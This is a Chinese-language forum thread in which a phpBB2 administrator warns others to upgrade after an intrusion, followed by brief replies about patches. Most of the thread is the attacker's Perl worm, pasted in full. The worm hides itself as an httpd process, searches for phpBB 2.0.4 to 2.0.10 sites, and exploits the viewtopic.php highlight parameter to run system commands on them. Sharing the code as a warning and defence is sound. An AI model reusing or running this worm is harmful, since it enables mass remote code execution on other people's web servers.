主題: phpBB2趕快升級喔～

[fz150n]

原來都是利用phpBB2的漏洞跑進來的，各位的phpBB2版本如果是下面程式碼裡面列出的話，就趕快升級囉。

（第一行還要註明他的e-mail，真是夠了。）

phpBB2 2.0.20 升級頁面：
http://phpbb-tw.net/phpbb/viewtopic.php?t=43968

後來雖然我還是決定暫時先把phpBB2移除了，但是可否請學長們教一下，咱們的酷學園是如何做好安全防護的呢？

代碼: [選擇]



###### psyclon.br@gmail.com ######

use strict;
use IO::Socket;
use IO::Handle;


my $process = '/usr/sbin/httpd';
$0="$process"."\0"x16;;
my $pid=fork;


sub fetch();
sub remote($);
sub http_query($);
sub encode($);

sub fetch(){
    my $rnd=(int(rand(9999)));
    my $s= (int(rand(281)));
    if ($rnd>1000) { $s= (int(rand(100)))}
 
   

    my @str=(
             "by+phpBB+2.0.4+",
"by+phpBB+2.0.5+",
"by+phpBB+2.0.6+",
"by+phpBB+2.0.7+",
"by+phpBB+2.0.8+",
"by+phpBB+2.0.9+",
"by+phpBB+2.0.10+",
         


 );

    my $query="search.msn.com.br/results.aspx?q=";
    $query.=$str[(rand(scalar(@str)))].$rnd;
    $query.="&first=$s";

    my @lst=();
    my $page = http_query($query);
    while ($page =~  m/<a href=\"?http:\/\/([^>\"]+)\"?>/g){
        if ($1 !~ m/msn|cache|hotmail/){
            push (@lst,$1);
        }
    }
   
    return (@lst);
}

sub http_query($){
    my ($url) = @_;
    my $host=$url;
    my $query=$url;
    my $page="";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~s/$host//;
    if ($query eq "") {$query="/";};
    eval {
        local $SIG{ALRM} = sub { die "1";};
        alarm 10;
        my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
        print $sock "GET $query HTTP/1.0\nHost: $host\nAccept: */*\nUser-Agent: Mozilla/4.0\n\n ";
        my @r = <$sock>;
        $page="@r";
        alarm 0;
        close($sock);
    };    
    return $page;

}

eval {fork and exit;};

my $iam=$ARGV[0];
my $oneday=time+3600;
my $page="";
my @urls;
my $url;






while(time<$oneday){
    @urls=fetch();
    foreach $url (@urls) {
        if ($url !~ /viewtopic.php/) {next;}
        $url =~ s/(.*\/viewtopic.php\?[t|p]=[0-9]+).*/$1/;
        my $cmd=encode("perl -e \"print q(jSVowMsd)\"");
        $url .="&highlight=%2527%252Esystem(".$cmd.")%252E%2527";
        $page = http_query($url);
        if ( $page =~ /jSVowMsd/ ){
            $url =~ s/&highlight.*//;
            my $upload=$url;
            $upload =~ s/viewtopic.*//;
            $cmd=encode("$cmd");    # set cmd
            $url .="&highlight=%2527%252Esystem(".$cmd.")%252E%2527";
            $page = http_query($url);
            $cmd=encode("$cmd");    # set cmd
            $url =~ s/&highlight.*//;
            $url .="&highlight=%2527%252Esystem(".$cmd.")%252E%2527";
            $page = http_query($url);
        }

    }
}

[kolong]

可以解說一下漏洞嗎...

[bojack]

若要看 PHPBB 更新了什麼可以直接去討論區看

http://www.phpbb.com/phpBB/viewforum.php?f=14

BTW, it's 2.0.21 now.  :roll:

[Darkhero]

更重要的是， 2.0.21 已經是六月份的更新了！！！